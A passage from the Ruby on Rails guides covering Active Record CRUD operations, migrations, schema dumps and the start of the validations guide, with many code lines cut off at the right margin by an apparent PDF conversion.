If you do so, you will have to define manually the class name that is
hosting the fixtures (my_products.yml) using the set_fixture_class
method in your test definition:
class ProductTest < ActiveSupport::TestCase
set_fixture_class my_products: Product
fixtures :my_products
...
end

It's also possible to override the column that should be used as the table's
primary key using the ActiveRecord::Base.primary_key= method:
class Product < ApplicationRecord
self.primary_key = "product_id"
end

5 CRUD: Reading and Writing Data

CRUD is an acronym for the four verbs we use to operate on data: Create,
Read, Update and Delete. Active Record automatically creates methods to
allow an application to read and manipulate data stored within its tables.
5.1 Create
Active Record objects can be created from a hash, a block or have their
attributes manually set after creation. The new method will return a new
object while create will return the object and save it to the database.
For example, given a model User with attributes of name and occupation,
the create method call will create and save a new record into the
database:
user = User.create(name: "David", occupation: "Code Artist")

Using the new method, an object can be instantiated without being saved:
user = User.new
user.name = "David"
user.occupation = "Code Artist"

A call to user.save will commit the record to the database.

Finally, if a block is provided, both create and new will yield the new
object to that block for initialization:
user = User.new do |u|
u.name = "David"
u.occupation = "Code Artist"
end

5.2 Read
Active Record provides a rich API for accessing data within a database.
Below are a few examples of different data access methods provided by
Active Record.
# return a collection with all users
users = User.all
# return the first user
user = User.first
# return the first user named David
david = User.find_by(name: 'David')

# find all users named David who are Code Artists and sort by cr
users = User.where(name: 'David', occupation: 'Code Artist').ord

You can learn more about querying an Active Record model in the Active
Record Query Interface guide.
5.3 Update
Once an Active Record object has been retrieved, its attributes can be
modified and it can be saved to the database.
user = User.find_by(name: 'David')
user.name = 'Dave'
user.save

A shorthand for this is to use a hash mapping attribute names to the desired
value, like so:
user = User.find_by(name: 'David')

user.update(name: 'Dave')

This is most useful when updating several attributes at once. If, on the
other hand, you'd like to update several records in bulk, you may find the
update_all class method useful:

User.update_all "max_login_attempts = 3, must_change_password =

5.4 Delete
Likewise, once retrieved an Active Record object can be destroyed which
removes it from the database.
user = User.find_by(name: 'David')
user.destroy

6 Validations
Active Record allows you to validate the state of a model before it gets
written into the database. There are several methods that you can use to
check your models and validate that an attribute value is not empty, is
unique and not already in the database, follows a specific format and many
more.
Validation is a very important issue to consider when persisting to the
database, so the methods save and update take it into account when
running: they return false when validation fails and they didn't actually
perform any operation on the database. All of these have a bang
counterpart (that is, save! and update!), which are stricter in that they
raise the exception ActiveRecord::RecordInvalid if validation fails. A
quick example to illustrate:
class User < ApplicationRecord
validates :name, presence: true
end

user = User.new
user.save # => false
user.save! # => ActiveRecord::RecordInvalid: Validation failed:

You can learn more about validations in the Active Record Validations
guide.

7 Callbacks
Active Record callbacks allow you to attach code to certain events in the
life-cycle of your models. This enables you to add behavior to your models
by transparently executing code when those events occur, like when you
create a new record, update it, destroy it and so on. You can learn more
about callbacks in the Active Record Callbacks guide.

8 Migrations
Rails provides a domain-specific language for managing a database
schema called migrations. Migrations are stored in files which are
executed against any database that Active Record supports using rake.
Here's a migration that creates a table:
class CreatePublications < ActiveRecord::Migration[5.0]
def change
create_table :publications do |t|
t.string :title
t.text :description
t.references :publication_type
t.integer :publisher_id
t.string :publisher_type
t.boolean :single_issue
t.timestamps
end
add_index :publications, :publication_type_id
end
end

Rails keeps track of which files have been committed to the database and
provides rollback features. To actually create the table, you'd run rails
db:migrate and to roll it back, rails db:rollback.
Note that the above code is database-agnostic: it will run in MySQL,
PostgreSQL, Oracle and others. You can learn more about migrations in
the Active Record Migrations guide.

Active Record Migrations Ruby

on...

1 Migration Overview
Migrations are a convenient way to alter your database schema over time
in a consistent and easy way. They use a Ruby DSL so that you don't have
to write SQL by hand, allowing your schema and changes to be database
independent.
You can think of each migration as being a new 'version' of the database.
A schema starts off with nothing in it, and each migration modifies it to
add or remove tables, columns, or entries. Active Record knows how to
update your schema along this timeline, bringing it from whatever point it
is in the history to the latest version. Active Record will also update your
db/schema.rb file to match the up-to-date structure of your database.
Here's an example of a migration:
class CreateProducts < ActiveRecord::Migration[5.0]
def change
create_table :products do |t|
t.string :name
t.text :description
t.timestamps
end
end
end

This migration adds a table called products with a string column called
name and a text column called description. A primary key column called
id will also be added implicitly, as it's the default primary key for all
Active Record models. The timestamps macro adds two columns,
created_at and updated_at. These special columns are automatically
managed by Active Record if they exist.
Note that we define the change that we want to happen moving forward in

time. Before this migration is run, there will be no table. After, the table
will exist. Active Record knows how to reverse this migration as well: if
we roll this migration back, it will remove the table.
On databases that support transactions with statements that change the
schema, migrations are wrapped in a transaction. If the database does not
support this then when a migration fails the parts of it that succeeded will
not be rolled back. You will have to rollback the changes that were made
by hand.
There are certain queries that can't run inside a transaction. If your adapter
supports DDL transactions you can use disable_ddl_transaction! to
disable them for a single migration.
If you wish for a migration to do something that Active Record doesn't
know how to reverse, you can use reversible:
class ChangeProductsPrice < ActiveRecord::Migration[5.0]
def change
reversible do |dir|
change_table :products do |t|
dir.up { t.change :price, :string }
dir.down { t.change :price, :integer }
end
end
end
end

Alternatively, you can use up and down instead of change:

class ChangeProductsPrice < ActiveRecord::Migration[5.0]
def up
change_table :products do |t|
t.change :price, :string
end
end

def down
change_table :products do |t|
t.change :price, :integer
end
end
end

2 Creating a Migration
2.1 Creating a Standalone Migration
Migrations are stored as files in the db/migrate directory, one for each
migration class. The name of the file is of the form
YYYYMMDDHHMMSS_create_products.rb, that is to say a UTC timestamp
identifying the migration followed by an underscore followed by the name
of the migration. The name of the migration class (CamelCased version)
should match the latter part of the file name. For example
20080906120000_create_products.rb should define class
CreateProducts and 20080906120001_add_details_to_products.rb
should define AddDetailsToProducts. Rails uses this timestamp to
determine which migration should be run and in what order, so if you're
copying a migration from another application or generate a file yourself,
be aware of its position in the order.
Of course, calculating timestamps is no fun, so Active Record provides a
generator to handle making it for you:
$ bin/rails generate migration AddPartNumberToProducts

This will create an empty but appropriately named migration:

class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
def change
end
end

If the migration name is of the form "AddXXXToYYY" or

"RemoveXXXFromYYY" and is followed by a list of column names and
types then a migration containing the appropriate add_column and
remove_column statements will be created.

$ bin/rails generate migration AddPartNumberToProducts part_numb

will generate
class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
end
end

If you'd like to add an index on the new column, you can do that as well:

$ bin/rails generate migration AddPartNumberToProducts part_numb

will generate
class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
add_index :products, :part_number
end
end

Similarly, you can generate a migration to remove a column from the

command line:

$ bin/rails generate migration RemovePartNumberFromProducts part

generates

class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0

def change
remove_column :products, :part_number, :string
end
end

You are not limited to one magically generated column. For example:

$ bin/rails generate migration AddDetailsToProducts part_number:

generates
class AddDetailsToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
add_column :products, :price, :decimal
end
end

If the migration name is of the form "CreateXXX" and is followed by a list

of column names and types then a migration creating the table XXX with
the columns listed will be generated. For example:

$ bin/rails generate migration CreateProducts name:string part_n

generates
class CreateProducts < ActiveRecord::Migration[5.0]
def change
create_table :products do |t|
t.string :name
t.string :part_number
end
end
end

As always, what has been generated for you is just a starting point. You
can add or remove from it as you see fit by editing the
db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file.

Also, the generator accepts column type as references(also available as

belongs_to). For instance:

$ bin/rails generate migration AddUserRefToProducts user:referen

generates

class AddUserRefToProducts < ActiveRecord::Migration[5.0]

def change
add_reference :products, :user, index: true, foreign_key: tr
end
end

This migration will create a user_id column and appropriate index. For
more add_reference options, visit the API documentation.
There is also a generator which will produce join tables if JoinTable is
part of the name:

$ bin/rails g migration CreateJoinTableCustomerProduct customer

will produce the following migration:

class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5

def change
create_join_table :customers, :products do |t|
# t.index [:customer_id, :product_id]
# t.index [:product_id, :customer_id]
end
end
end

2.2 Model Generators

The model and scaffold generators will create migrations appropriate for

adding a new model. This migration will already contain instructions for
creating the relevant table. If you tell Rails what columns you want, then
statements for adding these columns will also be created. For example,
running:
$ bin/rails generate model Product name:string description:text

will create a migration that looks like this

class CreateProducts < ActiveRecord::Migration[5.0]
def change
create_table :products do |t|
t.string :name
t.text :description
t.timestamps
end
end
end

You can append as many column name/type pairs as you want.

2.3 Passing Modifiers
Some commonly used type modifiers can be passed directly on the
command line. They are enclosed by curly braces and follow the field
type:
For instance, running:

$ bin/rails generate migration AddDetailsToProducts 'price:decim

will produce a migration that looks like this

class AddDetailsToProducts < ActiveRecord::Migration[5.0]

def change
add_column :products, :price, :decimal, precision: 5, scale:
add_reference :products, :supplier, polymorphic: true, index
end
end

Have a look at the generators help output for further details.

3 Writing a Migration
Once you have created your migration using one of the generators it's time
to get to work!
3.1 Creating a Table
The create_table method is one of the most fundamental, but most of the
time, will be generated for you from using a model or scaffold generator.
A typical use would be
create_table :products do |t|
t.string :name
end

which creates a products table with a column called name (and as

discussed below, an implicit id column).
By default, create_table will create a primary key called id. You can
change the name of the primary key with the :primary_key option (don't
forget to update the corresponding model) or, if you don't want a primary
key at all, you can pass the option id: false. If you need to pass database
specific options you can place an SQL fragment in the :options option.
For example:
create_table :products, options: "ENGINE=BLACKHOLE" do |t|
t.string :name, null: false
end

will append ENGINE=BLACKHOLE to the SQL statement used to create the

table (when using MySQL or MariaDB, the default is ENGINE=InnoDB).
Also you can pass the :comment option with any description for the table
that will be stored in database itself and can be viewed with database

administration tools, such as MySQL Workbench or PgAdmin III. It's

highly recommended to specify comments in migrations for applications
with large databases as it helps people to understand data model and
generate documentation. Currently only the MySQL and PostgreSQL
adapters support comments.
3.2 Creating a Join Table
The migration method create_join_table creates an HABTM (has and
belongs to many) join table. A typical use would be:
create_join_table :products, :categories

which creates a categories_products table with two columns called

category_id and product_id. These columns have the option :null set to
false by default. This can be overridden by specifying the
:column_options option:

create_join_table :products, :categories, column_options: { null

By default, the name of the join table comes from the union of the first two
arguments provided to create_join_table, in alphabetical order. To
customize the name of the table, provide a :table_name option:

create_join_table :products, :categories, table_name: :categoriz

creates a categorization table.

create_join_table also accepts a block, which you can use to add indices

(which are not created by default) or additional columns:

create_join_table :products, :categories do |t|
t.index :product_id

t.index :category_id
end

3.3 Changing Tables

A close cousin of create_table is change_table, used for changing
existing tables. It is used in a similar fashion to create_table but the
object yielded to the block knows more tricks. For example:
change_table :products do |t|
t.remove :description, :name
t.string :part_number
t.index :part_number
t.rename :upccode, :upc_code
end

removes the description and name columns, creates a part_number string

column and adds an index on it. Finally it renames the upccode column.
3.4 Changing Columns
Like the remove_column and add_column Rails provides the
change_column migration method.
change_column :products, :part_number, :text

This changes the column part_number on products table to be a :text

field. Note that change_column command is irreversible.
Besides change_column, the change_column_null and
change_column_default methods are used specifically to change a not
null constraint and default values of a column.
change_column_null :products, :name, false

change_column_default :products, :approved, from: true, to: fals

This sets :name field on products to a NOT NULL column and the default
value of the :approved field from true to false.
Note: You could also write the above change_column_default migration
as change_column_default :products, :approved, false, but unlike
the previous example, this would make your migration irreversible.
3.5 Column Modifiers
Column modifiers can be applied when creating or changing a column:
limit Sets the maximum size of the string/text/binary/integer

fields.
precision Defines the precision for the decimal fields, representing

the total number of digits in the number.

scale Defines the scale for the decimal fields, representing the
number of digits after the decimal point.
polymorphic Adds a type column for belongs_to associations.
null Allows or disallows NULL values in the column.
default Allows to set a default value on the column. Note that if you
are using a dynamic value (such as a date), the default will only be
calculated the first time (i.e. on the date the migration is applied).
index Adds an index for the column.
comment Adds a comment for the column.
Some adapters may support additional options; see the adapter specific
API docs for further information.
3.6 Foreign Keys
While it's not required you might want to add foreign key constraints to

guarantee referential integrity.

add_foreign_key :articles, :authors

This adds a new foreign key to the author_id column of the articles
table. The key references the id column of the authors table. If the
column names can not be derived from the table names, you can use the
:column and :primary_key options.
Rails will generate a name for every foreign key starting with fk_rails_
followed by 10 characters which are deterministically generated from the
from_table and column. There is a :name option to specify a different
name if needed.
Active Record only supports single column foreign keys. execute and
structure.sql are required to use composite foreign keys. See Schema
Dumping and You.
Removing a foreign key is easy as well:
# let Active Record figure out the column name
remove_foreign_key :accounts, :branches
# remove foreign key for a specific column
remove_foreign_key :accounts, column: :owner_id
# remove foreign key by name
remove_foreign_key :accounts, name: :special_fk_name

3.7 When Helpers aren't Enough

If the helpers provided by Active Record aren't enough you can use the
execute method to execute arbitrary SQL:

Product.connection.execute("UPDATE products SET price = 'free' W

For more details and examples of individual methods, check the API
documentation. In particular the documentation for
ActiveRecord::ConnectionAdapters::SchemaStatements (which
provides the methods available in the change, up and down methods),
ActiveRecord::ConnectionAdapters::TableDefinition (which
provides the methods available on the object yielded by create_table)
and ActiveRecord::ConnectionAdapters::Table (which provides the
methods available on the object yielded by change_table).
3.8 Using the change Method
The change method is the primary way of writing migrations. It works for
the majority of cases, where Active Record knows how to reverse the
migration automatically. Currently, the change method supports only these
migration definitions:
add_column
add_foreign_key
add_index
add_reference
add_timestamps
change_column_default (must supply a :from and :to option)
change_column_null
create_join_table
create_table
disable_extension
drop_join_table
drop_table (must supply a block)
enable_extension
remove_column (must supply a type)
remove_foreign_key (must supply a second table)
remove_index

remove_reference
remove_timestamps
rename_column
rename_index
rename_table
change_table is also reversible, as long as the block does not call change,
change_default or remove.
remove_column is reversible if you supply the column type as the third

argument. Provide the original column options too, otherwise Rails can't
recreate the column exactly when rolling back:

remove_column :posts, :slug, :string, null: false, default: '',

If you're going to need to use any other methods, you should use
reversible or write the up and down methods instead of using the change
method.
3.9 Using reversible
Complex migrations may require processing that Active Record doesn't
know how to reverse. You can use reversible to specify what to do when
running a migration and what else to do when reverting it. For example:
class ExampleMigration < ActiveRecord::Migration[5.0]
def change
create_table :distributors do |t|
t.string :zipcode
end
reversible do |dir|
dir.up do
# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors

ADD CONSTRAINT zipchk

CHECK (char_length(zipcode) = 5) NO INHERIT;
SQL
end
dir.down do
execute <<-SQL
ALTER TABLE distributors
DROP CONSTRAINT zipchk
SQL
end
end
add_column :users, :home_page_url, :string
rename_column :users, :email, :email_address
end
end

Using reversible will ensure that the instructions are executed in the
right order too. If the previous example migration is reverted, the down
block will be run after the home_page_url column is removed and right
before the table distributors is dropped.
Sometimes your migration will do something which is just plain
irreversible; for example, it might destroy some data. In such cases, you
can raise ActiveRecord::IrreversibleMigration in your down block. If
someone tries to revert your migration, an error message will be displayed
saying that it can't be done.
3.10 Using the up/down Methods
You can also use the old style of migration using up and down methods
instead of the change method. The up method should describe the
transformation you'd like to make to your schema, and the down method of
your migration should revert the transformations done by the up method.
In other words, the database schema should be unchanged if you do an up
followed by a down. For example, if you create a table in the up method,

you should drop it in the down method. It is wise to perform the

transformations in precisely the reverse order they were made in the up
method. The example in the reversible section is equivalent to:
class ExampleMigration < ActiveRecord::Migration[5.0]
def up
create_table :distributors do |t|
t.string :zipcode
end
# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
ADD CONSTRAINT zipchk
CHECK (char_length(zipcode) = 5);
SQL
add_column :users, :home_page_url, :string
rename_column :users, :email, :email_address
end
def down
rename_column :users, :email_address, :email
remove_column :users, :home_page_url
execute <<-SQL
ALTER TABLE distributors
DROP CONSTRAINT zipchk
SQL
drop_table :distributors
end
end

If your migration is irreversible, you should raise

ActiveRecord::IrreversibleMigration from your down method. If
someone tries to revert your migration, an error message will be displayed
saying that it can't be done.

3.11 Reverting Previous Migrations

You can use Active Record's ability to rollback migrations using the
revert method:
require_relative '20121212123456_example_migration'
class FixupExampleMigration < ActiveRecord::Migration[5.0]
def change
revert ExampleMigration
create_table(:apples) do |t|
t.string :variety
end
end
end

The revert method also accepts a block of instructions to reverse. This

could be useful to revert selected parts of previous migrations. For
example, let's imagine that ExampleMigration is committed and it is later
decided it would be best to use Active Record validations, in place of the
CHECK constraint, to verify the zipcode.

class DontUseConstraintForZipcodeValidationMigration < ActiveRec

def change
revert do
# copy-pasted code from ExampleMigration
reversible do |dir|
dir.up do
# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
ADD CONSTRAINT zipchk
CHECK (char_length(zipcode) = 5);
SQL
end
dir.down do
execute <<-SQL
ALTER TABLE distributors

DROP CONSTRAINT zipchk

SQL
end
end
# The rest of the migration was ok
end
end
end

The same migration could also have been written without using revert but
this would have involved a few more steps: reversing the order of
create_table and reversible, replacing create_table by drop_table,
and finally replacing up by down and vice-versa. This is all taken care of by
revert.
If you want to add check constraints like in the examples above, you will
have to use structure.sql as dump method. See Schema Dumping and
You.

4 Running Migrations
Rails provides a set of bin/rails tasks to run certain sets of migrations.
The very first migration related bin/rails task you will use will probably be
rails db:migrate. In its most basic form it just runs the change or up
method for all the migrations that have not yet been run. If there are no
such migrations, it exits. It will run these migrations in order based on the
date of the migration.
Note that running the db:migrate task also invokes the db:schema:dump
task, which will update your db/schema.rb file to match the structure of
your database.
If you specify a target version, Active Record will run the required
migrations (change, up, down) until it has reached the specified version.
The version is the numerical prefix on the migration's filename. For
example, to migrate to version 20080906120000 run:
$ bin/rails db:migrate VERSION=20080906120000

If version 20080906120000 is greater than the current version (i.e., it is

migrating upwards), this will run the change (or up) method on all
migrations up to and including 20080906120000, and will not execute any
later migrations. If migrating downwards, this will run the down method on
all the migrations down to, but not including, 20080906120000.
4.1 Rolling Back
A common task is to rollback the last migration. For example, if you made
a mistake in it and wish to correct it. Rather than tracking down the
version number associated with the previous migration you can run:
$ bin/rails db:rollback

This will rollback the latest migration, either by reverting the change
method or by running the down method. If you need to undo several
migrations you can provide a STEP parameter:
$ bin/rails db:rollback STEP=3

will revert the last 3 migrations.

The db:migrate:redo task is a shortcut for doing a rollback and then
migrating back up again. As with the db:rollback task, you can use the
STEP parameter if you need to go more than one version back, for example:
$ bin/rails db:migrate:redo STEP=3

Neither of these bin/rails tasks do anything you could not do with

db:migrate. They are simply more convenient, since you do not need to
explicitly specify the version to migrate to.
4.2 Setup the Database
The rails db:setup task will create the database, load the schema and
initialize it with the seed data.
4.3 Resetting the Database
The rails db:reset task will drop the database and set it up again. This
is functionally equivalent to rails db:drop db:setup.
This is not the same as running all the migrations. It will only use the
contents of the current db/schema.rb or db/structure.sql file. If a
migration can't be rolled back, rails db:reset may not help you. To find

out more about dumping the schema see Schema Dumping and You
section.
4.4 Running Specific Migrations
If you need to run a specific migration up or down, the db:migrate:up and
db:migrate:down tasks will do that. Just specify the appropriate version
and the corresponding migration will have its change, up or down method
invoked, for example:
$ bin/rails db:migrate:up VERSION=20080906120000

will run the 20080906120000 migration by running the change method (or
the up method). This task will first check whether the migration is already
performed and will do nothing if Active Record believes that it has already
been run.
4.5 Running Migrations in Different Environments
By default running bin/rails db:migrate will run in the development
environment. To run migrations against another environment you can
specify it using the RAILS_ENV environment variable while running the
command. For example to run migrations against the test environment
you could run:
$ bin/rails db:migrate RAILS_ENV=test

4.6 Changing the Output of Running Migrations

By default migrations tell you exactly what they're doing and how long it
took. A migration creating a table and adding an index might produce
output like this

== CreateProducts: migrating ==================================

-- create_table(:products)
-> 0.0028s
== CreateProducts: migrated (0.0028s) =========================

Several methods are provided in migrations that allow you to control all
this:
Method

Purpose
Takes a block as an argument and suppresses any
suppress_messages
output generated by the block.
Takes a message argument and outputs it as is. A
say
second boolean argument can be passed to specify
whether to indent or not.
Outputs text along with how long it took to run its
say_with_time
block. If the block returns an integer it assumes it is
the number of rows affected.
For example, this migration:
class CreateProducts < ActiveRecord::Migration[5.0]
def change
suppress_messages do
create_table :products do |t|
t.string :name
t.text :description
t.timestamps
end
end
say "Created a table"
suppress_messages {add_index :products, :name}
say "and an index!", true
say_with_time 'Waiting for a while' do
sleep 10

250
end
end
end

generates the following output

== CreateProducts: migrating ==================================

-- Created a table
-> and an index!
-- Waiting for a while
-> 10.0013s
-> 250 rows
== CreateProducts: migrated (10.0054s) ========================

If you want Active Record to not output anything, then running rails
db:migrate VERBOSE=false will suppress all output.

5 Changing Existing Migrations

Occasionally you will make a mistake when writing a migration. If you
have already run the migration, then you cannot just edit the migration and
run the migration again: Rails thinks it has already run the migration and
so will do nothing when you run rails db:migrate. You must rollback
the migration (for example with bin/rails db:rollback), edit your
migration and then run rails db:migrate to run the corrected version.
In general, editing existing migrations is not a good idea. You will be
creating extra work for yourself and your co-workers and cause major
headaches if the existing version of the migration has already been run on
production machines. Instead, you should write a new migration that
performs the changes you require. Editing a freshly generated migration
that has not yet been committed to source control (or, more generally,
which has not been propagated beyond your development machine) is
relatively harmless.
The revert method can be helpful when writing a new migration to undo
previous migrations in whole or in part (see Reverting Previous Migrations
above).

6 Schema Dumping and You

6.1 What are Schema Files for?
Migrations, mighty as they may be, are not the authoritative source for
your database schema. That role falls to either db/schema.rb or an SQL
file which Active Record generates by examining the database. They are
not designed to be edited, they just represent the current state of the
database.
There is no need (and it is error prone) to deploy a new instance of an app
by replaying the entire migration history. It is much simpler and faster to
just load into the database a description of the current schema.
For example, this is how the test database is created: the current
development database is dumped (either to db/schema.rb or
db/structure.sql) and then loaded into the test database.
Schema files are also useful if you want a quick look at what attributes an
Active Record object has. This information is not in the model's code and
is frequently spread across several migrations, but the information is nicely
summed up in the schema file. The annotate_models gem automatically
adds and updates comments at the top of each model summarizing the
schema if you desire that functionality.
6.2 Types of Schema Dumps
There are two ways to dump the schema. This is set in
config/application.rb by the config.active_record.schema_format
setting, which may be either :sql or :ruby.
If :ruby is selected, then the schema is stored in db/schema.rb. If you
look at this file you'll find that it looks an awful lot like one very big
migration:

ActiveRecord::Schema.define(version: 20080906171750) do
create_table "authors", force: true do |t|
t.string "name"
t.datetime "created_at"
t.datetime "updated_at"
end
create_table "products", force: true do |t|
t.string "name"
t.text "description"
t.datetime "created_at"
t.datetime "updated_at"
t.string "part_number"
end
end

In many ways this is exactly what it is. This file is created by inspecting
the database and expressing its structure using create_table, add_index,
and so on. Because this is database-independent, it could be loaded into
any database that Active Record supports. This could be very useful if you
were to distribute an application that is able to run against multiple
databases.
There is however a trade-off: db/schema.rb cannot express database
specific items such as triggers, stored procedures or check constraints.
While in a migration you can execute custom SQL statements, the schema
dumper cannot reconstitute those statements from the database. If you are
using features like this, then you should set the schema format to :sql.
Instead of using Active Record's schema dumper, the database's structure
will be dumped using a tool specific to the database (via the
db:structure:dump rails task) into db/structure.sql. For example, for
PostgreSQL, the pg_dump utility is used. For MySQL and MariaDB, this
file will contain the output of SHOW CREATE TABLE for the various tables.
Loading these schemas is simply a question of executing the SQL
statements they contain. By definition, this will create a perfect copy of the

database's structure. Using the :sql schema format will, however, prevent
loading the schema into a RDBMS other than the one used to create it.
6.3 Schema Dumps and Source Control
Because schema dumps are the authoritative source for your database
schema, it is strongly recommended that you check them into source
control.
db/schema.rb contains the current version number of the database. This

ensures conflicts are going to happen in the case of a merge where both
branches touched the schema. When that happens, solve conflicts
manually, keeping the highest version number of the two.

7 Active Record and Referential Integrity

The Active Record way claims that intelligence belongs in your models,
not in the database. As such, features such as triggers or constraints, which
push some of that intelligence back into the database, are not heavily used.
Validations such as validates :foreign_key, uniqueness: true are
one way in which models can enforce data integrity. The :dependent
option on associations allows models to automatically destroy child
objects when the parent is destroyed. Like anything which operates at the
application level, these cannot guarantee referential integrity and so some
people augment them with foreign key constraints in the database.
Although Active Record does not provide all the tools for working directly
with such features, the execute method can be used to execute arbitrary
SQL.

8 Migrations and Seed Data

The main purpose of Rails' migration feature is to issue commands that
modify the schema using a consistent process. Migrations can also be used
to add or modify data. This is useful in an existing database that can't be
destroyed and recreated, such as a production database.

class AddInitialProducts < ActiveRecord::Migration[5.0]

def up
5.times do |i|
Product.create(name: "Product ##{i}", description: "A prod
end
end
def down
Product.delete_all
end
end

To add initial data after a database is created, Rails has a built-in 'seeds'
feature that makes the process quick and easy. This is especially useful
when reloading the database frequently in development and test
environments. It's easy to get started with this feature: just fill up
db/seeds.rb with some Ruby code, and run rails db:seed:

5.times do |i|
Product.create(name: "Product ##{i}", description: "A product.
end

This is generally a much cleaner way to set up the database of a blank

application.

Active Record Validations

Ruby on...

1 Validations Overview
Here's an example of a very simple validation:
class Person < ApplicationRecord
validates :name, presence: true
end
Person.create(name: "John Doe").valid? # => true
Person.create(name: nil).valid? # => false

As you can see, our validation lets us know that our Person is not valid
without a name attribute. The second Person will not be persisted to the
database.
Before we dig into more details, let's talk about how validations fit into the
big picture of your application.
1.1 Why Use Validations?
Validations are used to ensure that only valid data is saved into your
database. For example, it may be important to your application to ensure
that every user provides a valid email address and mailing address. Modellevel validations are the best way to ensure that only valid data is saved
into your database. They are database agnostic, cannot be bypassed by end
users, and are convenient to test and maintain. Rails makes them easy to
use, provides built-in helpers for common needs, and allows you to create
your own validation methods as well.
There are several other ways to validate data before it is saved into your
database, including native database constraints, client-side validations and
controller-level validations. Here's a summary of the pros and cons:
Database constraints and/or stored procedures make the validation

mechanisms database-dependent and can make testing and

maintenance more difficult. However, if your database is used by
other applications, it may be a good idea to use some constraints at
the database level. Additionally, database-level validations can safely
handle some things (such as uniqueness in heavily-used tables) that
can be difficult to implement otherwise.
Client-side validations can be useful, but are generally unreliable if
used alone. If they are implemented using JavaScript, they may be
bypassed if JavaScript is turned off in the user's browser. However, if
combined with other techniques, client-side validation can be a
convenient way to provide users with immediate feedback as they use
your site.
Controller-level validations can be tempting to use, but often become
unwieldy and difficult to test and maintain. Whenever possible, it's a
good idea to keep your controllers skinny, as it will make your
application a pleasure to work with in the long run.
Choose these in certain, specific cases. It's the opinion of the Rails team
that model-level validations are the most appropriate in most
circumstances.
1.2 When Does Validation Happen?
There are two kinds of Active Record objects: those that correspond to a
row inside your database and those that do not. When you create a fresh
object, for example using the new method, that object does not belong to
the database yet. Once you call save upon that object it will be saved into
the appropriate database table. Active Record uses the new_record?
instance method to determine whether an object is already in the database
or not. Consider the following simple Active Record class:
class Person < ApplicationRecord
end

We can see how it works by looking at some rails console output:

$ bin/rails console
>> p = Person.new(name: "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, updated_
>> p.new_record?
=> true
>> p.save
=> true
>> p.new_record?
=> false

Creating and saving a new record will send an SQL INSERT operation to
the database. Updating an existing record will send an SQL UPDATE
operation instead. Validations are typically run before these commands are
sent to the database. If any validations fail, the object will be marked as
invalid and Active Record will not perform the INSERT or UPDATE
operation. This avoids storing an invalid object in the database. You can
choose to have specific validations run when an object is created, saved, or
updated.
There are many ways to change the state of an object in the database.
Some methods will trigger validations, but some will not. This means that
it's possible to save an object in the database in an invalid state if you
aren't careful.
The following methods trigger validations, and will save the object to the
database only if the object is valid:
create
create!
save
save!
update
update!

The bang versions (e.g. save!) raise an exception if the record is invalid.
The non-bang versions don't: save and update return false, and create
just returns the object.
1.3 Skipping Validations
The following methods skip validations, and will save the object to the
database regardless of its validity. They should be used with caution.
decrement!
decrement_counter
increment!
increment_counter
toggle!
touch
update_all
update_attribute
update_column
update_columns
update_counters

Note that save also has the ability to skip validations if passed validate:
false as an argument. This technique should be used with caution.
save(validate: false)

1.4 valid? and invalid?

Before saving an Active Record object, Rails runs your validations. If
these validations produce any errors, Rails does not save the object.
You can also run these validations on your own. valid? triggers your
validations and returns true if no errors were found in the object, and false
otherwise. As you saw above:

class Person < ApplicationRecord

validates :name, presence: true
end
Person.create(name: "John Doe").valid? # => true
Person.create(name: nil).valid? # => false

After Active Record has performed validations, any errors found can be
accessed through the errors.messages instance method, which returns a
collection of errors. By definition, an object is valid if this collection is
empty after running validations.
Note that an object instantiated with new will not report errors even if it's
technically invalid, because validations are automatically run only when
the object is saved, such as with the create or save methods.
class Person < ApplicationRecord
validates :name, presence: true
end
>> p = Person.new
# => #<Person id: nil, name: nil>
>> p.errors.messages
# => {}
>> p.valid?
# => false
>> p.errors.messages
# => {name:["can't be blank"]}
>> p = Person.create
# => #<Person id: nil, name: nil>
>> p.errors.messages
# => {name:["can't be blank"]}
>> p.save
# => false

>> p.save!
# => ActiveRecord::RecordInvalid: Validation failed: Name can't

>> Person.create!
# => ActiveRecord::RecordInvalid: Validation failed: Name can't

invalid? is simply the inverse of valid?. It triggers your validations,

returning true if any errors were found in the object, and false otherwise.
1.5 errors[]
To verify whether or not a particular attribute of an object is valid, you can
use errors[:attribute]. It returns an array of all the errors for
:attribute. If there are no errors on the specified attribute, an empty
array is returned.
This method is only useful after validations have been run, because it only
inspects the errors collection and does not trigger validations itself. It's
different from the ActiveRecord::Base#invalid? method explained
above because it doesn't verify the validity of the object as a whole. It only
checks to see whether there are errors found on an individual attribute of
the object.
class Person < ApplicationRecord
validates :name, presence: true
end
>> Person.new.errors[:name].any? # => false
>> Person.create.errors[:name].any? # => true

We'll cover validation errors in greater depth in the Working with

Validation Errors section.
1.6 errors.details
To check which validations failed on an invalid attribute, you can use

errors.details[:attribute]. It returns an array of hashes with an

:error key to get the symbol of the validator:
class Person < ApplicationRecord
validates :name, presence: true
end
>> person = Person.new
>> person.valid?
>> person.errors.details[:name] # => [{error: :blank}]

Using details with custom validators is covered in the Working with

Validation Errors section.

2 Validation Helpers
Active Record offers many pre-defined validation helpers that you can use
directly inside your class definitions. These helpers provide common
validation rules. Every time a validation fails, an error message is added to
the object's errors collection, and this message is associated with the
attribute being validated.
Each helper accepts an arbitrary number of attribute names, so with a
single line of code you can add the same kind of validation to several
attributes.
All of them accept the :on and :message options, which define when the
validation should be run and what message should be added to the errors
collection if it fails, respectively. The :on option takes one of the values
:create or :update. There is a default error message for each one of the
validation helpers. These messages are used when the :message option
isn't specified. Let's take a look at each one of the available helpers.
2.1 acceptance
This method validates that a checkbox on the user interface was checked
when a form was submitted. This is typically used when the user needs to
agree to your application's terms of service, confirm that some text is read,
or any similar concept.
class Person < ApplicationRecord
validates :terms_of_service, acceptance: true
end

This check is performed only if terms_of_service is not nil. The default

error message for this helper is "must be accepted". You can also pass
custom message via the message option.

class Person < ApplicationRecord

validates :terms_of_service, acceptance: true, message: 'must
end

It can also receive an :accept option, which determines the allowed

